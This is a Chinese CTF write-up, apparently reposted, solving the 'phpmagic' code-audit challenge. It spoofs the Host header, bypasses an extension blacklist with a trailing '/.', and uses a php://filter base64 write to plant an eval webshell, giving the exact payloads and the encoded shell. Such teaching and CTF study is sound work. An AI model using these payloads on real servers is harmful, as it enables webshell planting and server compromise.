刘雨洋优秀作者
原创内容 来源:小居数码网 时间:2024-08-13 12:28:01 阅读() 收藏:31 分享:62 爆
导读:您正在阅读的是关于【数码知识】的问题,本文由科普作家协会,生活小能手,著名生活达人等整理监督编写。本文有1921个文字,大小约为7KB,预计阅读时间5分钟。
1.
前言
前些日子有些忙,没有继续做,现在跟进,先看下之前做的几道题:
2018 Code Breaking(1) & function :关于的trick代码审计从入门到放弃(一) & function
2018 Code Breaking(2) & pcrewaf:关于正则回溯的bypass手段代码审计从入门到放弃(二) & pcrewaf
2018 Code Breaking(3) & phplimit:php无参数函数执行RCE代码审计从入门到放弃(三) & phplimit
今天研究一下phpmagic这道题
2.
题目概述
拿到题目
http://106.14.114.127:24004/?read-source=1
发现源代码如下
<?phpif(isset($_GET['read-source'])) {exit(show_source(__FILE__));}define('DATA_DIR', dirname(__FILE__) . '/data/' . md5($_SERVER['REMOTE_ADDR']));if(!is_dir(DATA_DIR)) {mkdir(DATA_DIR, 0755, true);}chdir(DATA_DIR);$domain = isset($_POST['domain']) ? $_POST['domain'] : '';$log_name = isset($_POST['log']) ? $_POST['log'] : date('-Y-m-d');?>.......<?phpif(!empty($_POST) && $domain):$command = sprintf("dig -t A -q %s", escapeshellarg($domain));$output = shell_exec($command);$output = htmlspecialchars($output, ENT_HTML401 | ENT_QUOTES);$log_name = $_SERVER['SERVER_NAME'] . $log_name;if(!in_array(pathinfo($log_name, PATHINFO_EXTENSION), ['php', 'php3', 'php4', 'php5', 'phtml', 'pht'], true)) {file_put_contents($log_name, $output); }echo $output;endif;?>
注意到题目首先创建了一个沙盒做用户分割
define('DATA_DIR', dirname(__FILE__) . '/data/' . md5($_SERVER['REMOTE_ADDR']));if(!is_dir(DATA_DIR)) {mkdir(DATA_DIR, 0755, true);}chdir(DATA_DIR);
然后接受用户传入的2个值
$domain = isset($_POST['domain']) ? $_POST['domain'] : '';$log_name = isset($_POST['log']) ? $_POST['log'] : date('-Y-m-d');
然后对用户输入的$domain进行拼接命令执行
$command = sprintf("dig -t A -q %s", escapeshellarg($domain));$output = shell_exec($command);$output = htmlspecialchars($output, ENT_HTML401 | ENT_QUOTES);
然后将命令执行结果写入文件,并打印出来
$log_name = $_SERVER['SERVER_NAME'] . $log_name;if(!in_array(pathinfo($log_name, PATHINFO_EXTENSION), ['php', 'php3', 'php4', 'php5', 'phtml', 'pht'], true)) {file_put_contents($log_name, $output); }echo $output;
3.
攻击点探索
这里不难顺着题目想到,此题应该是bypass拼接,进行我们想要的命令执行。
那么这里思路可以分为2种:
1.利用文件保存功能留一个shell
2.直接进行RCE,因为执行结果会打印出来
这里我比较趋向于第一种,因为第二种我们需要bypass
直接进行命令执行不是太方便,每次都要考虑Bypass的问题,而写一个Shell,只要bypass一次,一劳永逸。
同时更关键的一点,如果我们想走第二条路径,就要控制以下指令的返回值
$command = sprintf("dig -t A -q %s", escapeshellarg($domain));
常见并列执行命令方式如下
cat sky.c && ls
但这里由于escapeshellarg()的存在,我们的输入变为
dig -t A -q '&& ls'
失去并列执行的意义,所以这里考虑第1条路径:写shell
想要写shell的话,还是会遇到几项问题:
1.控制写入路径
2.bypass 黑名单
3.控制写入内容
4.
控制写入路径
如果想要控制写入路径,那么势必关注写入函数,其中可能带有危险操作
file_put_contents($log_name, $output);
对于$log_name我们可以跟踪到
$log_name = $_SERVER['SERVER_NAME'] . $log_name;
关于这项操作,我们发现文件路径会拼接
$_SERVER['SERVER_NAME']
那么这个值是做什么的呢?我们查阅官方手册
官方手册中提示如果不设置 UseCanonicalName = On 和 ServerName,那么则可能被客户端进行伪造
我们不妨写如下脚本进行测试
<?php$log_name = $_GET['log'];$log_name = $_SERVER['SERVER_NAME'] . $log_name;echo $log_name;
可以看到$_SERVER['SERVER_NAME']可用host去控制,那么这样一来,文件名可控
5.
bypass 黑名单
我们关注到黑名单为
['php', 'php3', 'php4', 'php5', 'phtml', 'pht']
其实绕过手段还有不少,例如phps,但是目标会不会解析是个问题
有没有更加万能的bypass手段呢?
我们注意到获取后缀的方式为
pathinfo($log_name, PATHINFO_EXTENSION)
而pathinfo()是有漏洞的
我们不妨做如下测试
pathinfo()只会单一的去获取最后一个.后的值作为后缀名
那么在php后加上.是否还能正常访问呢?
我们不妨做如下测试
答案是否定的.
那么还有没有其他方法呢?
我们测试
root@sky# php -aInteractive mode enabledphp > file_put_contents('/tmp/sky.php/.', '12345');php > exitroot@sky# ls /tmp | grep skysky.php
发现成功写入/tmp/sky.php,同时bypass了pathinfo()的黑名单
至于为什么/.可以进行bypass,可参考下述文章
http://wonderkun.cc/index.html/?p=626
6.
控制写入内容
可控路径,可Bypass后缀名,那么就只剩下内容写入了,我们需要bypass两个过滤
escapeshellarg($domain)htmlspecialchars($output, ENT_HTML401 | ENT_QUOTES)
这么显然如果不用编码的话,很难bypass过滤,毕竟符号会被过滤,例如<
那么如何使用编码写入呢?
这里就要从伪协议说起,我们知道有php有如下伪协议
php://filter/write=convert.base64-decode/resource=sky.php”
可以将内容进行base64解码再写入,那么我们只要再$domain中传入base64即可,这样即可轻松Bypass过滤
再配合上我们之前的路径Bypass可以得到如下payload进行测试
Host:php://filter/write=convert.base64-decode/resource=log=sky.php/.$domain = c2t5c2t5
我们访问sky.php进行查看
这里需要注意,先去得到自己的$_SERVER['REMOTE_ADDR']
这里方法很多,有很多提供ip的网站,或者可用自己的vps,这里不再赘述
可以计算得到我的沙盒
/data/d4dabdbc73b87e364e29e60c60a92900
我们访问
/data/d4dabdbc73b87e364e29e60c60a92900/sky.php
我们发现之前发送的base64已经变成了skysky
7.
payload写入
那么剩下的就是写入一句话木马了
得到
PD9waHAgZXZhbCgkX0dFVFsncyddKTsgPz4=
这里需要注意base64不要带有==,因为我们插入的base64在文本中间
而==是出现在base64结尾的,会导致解码错误
所有我们把=换成
PD9waHAgZXZhbCgkX0dFVFsncyddKTsgPz4a
我们进行测试
访问
http://localhost/data/d4dabdbc73b87e364e29e60c60a92900/res.php?s=var_dump(scandir('./'));
继续上跳
http://localhost/data/d4dabdbc73b87e364e29e60c60a92900/res.php?s=var_dump(scandir(%27../../../%27));
发现flag,我们读取
http://localhost/data/d4dabdbc73b87e364e29e60c60a92900/res.php?s=readfile(%27../../../flag_phpmag1c_ur1%27);
8.
后记
这道题并不难,主要涉及几个php trick:
1.$_SERVER['SERVER_NAME']可通过Host进行伪造
2./.可用来bypass文件后缀黑名单
3.php伪协议可用来base64 bypass写入内容
9.
上面就是小居数码小编今天给大家介绍的关于(什么是代码审计)的全部内容,希望可以帮助到你,想了解更多关于数码知识的问题,欢迎关注我们,并收藏,转发,分享。
94%的朋友还想知道的:
(332)个朋友认为回复得到帮助。
部分文章信息来源于以及网友投稿,转载请说明出处。
本文标题:审计学代码是什么(什么是代码审计):http://sjzlt.cn/shuma/155204.html